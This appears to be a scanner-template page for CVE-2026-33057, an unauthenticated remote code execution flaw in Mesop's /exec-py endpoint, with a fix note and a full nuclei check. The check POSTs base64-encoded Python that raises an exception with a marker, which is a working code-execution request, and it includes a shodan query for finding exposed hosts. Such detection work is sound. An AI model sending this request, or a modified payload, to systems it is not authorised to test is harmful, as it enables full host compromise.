Mesop AI Sandbox <= 1.2.2 - Remote Code Execution

criticalseverity

9.8CVSS score

6.6%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

Mesop <= 1.2.2 contains an unrestricted remote code execution caused by unauthenticated ingestion and execution of base64-encoded Python code in the /exec-py endpoint of ai/testing module, letting attackers execute arbitrary commands on the host, exploit requires HTTP access to the server.

Impact

Attackers can execute arbitrary commands on the host, leading to full system compromise.

Fix

Upgrade to version 1.2.3 or later.

How to confirm it

Send: GET {{BaseURL}}
Positive when: status_code == 200 and contains_all(body, "<title>Mesop")
Send: @timeout: 20s
Positive when: contains "{{marker}}" AND status 500

Run it with nuclei: nuclei -id CVE-2026-33057 -u <target>

The full check

id: CVE-2026-33057

info:
  name: Mesop AI Sandbox <= 1.2.2 - Remote Code Execution
  author: sammiee5311,liyander
  severity: critical
  description: |
    Mesop <= 1.2.2 contains an unrestricted remote code execution caused by unauthenticated ingestion and execution of base64-encoded Python code in the /exec-py endpoint of ai/testing module, letting attackers execute arbitrary commands on the host, exploit requires HTTP access to the server.
  impact: |
    Attackers can execute arbitrary commands on the host, leading to full system compromise.
  remediation: |
    Upgrade to version 1.2.3 or later.
  reference:
    - https://github.com/mesop-dev/mesop/security/advisories/GHSA-gjgx-rvqr-6w6v
    - https://nvd.nist.gov/vuln/detail/CVE-2026-33057
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-33057
    epss-score: 0.06623
    epss-percentile: 0.93917
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 2
    vendor: mesop-dev
    product: mesop
    shodan-query: html:"Mesop"
  tags: cve,cve2026,mesop,rce,oss,vkev

variables:
  marker: "{{rand_base(16)}}"
  payload: '{{replace(replace(base64(concat("raise Exception(\"", marker, "\")")), "+", "-"), "/", "_")}}'

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "<title>Mesop")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 20s
        POST /exec-py HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        code={{payload}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{marker}}"

      - type: status
        status:
          - 500

References

Use this check only on systems you are authorised to test. Where the data comes from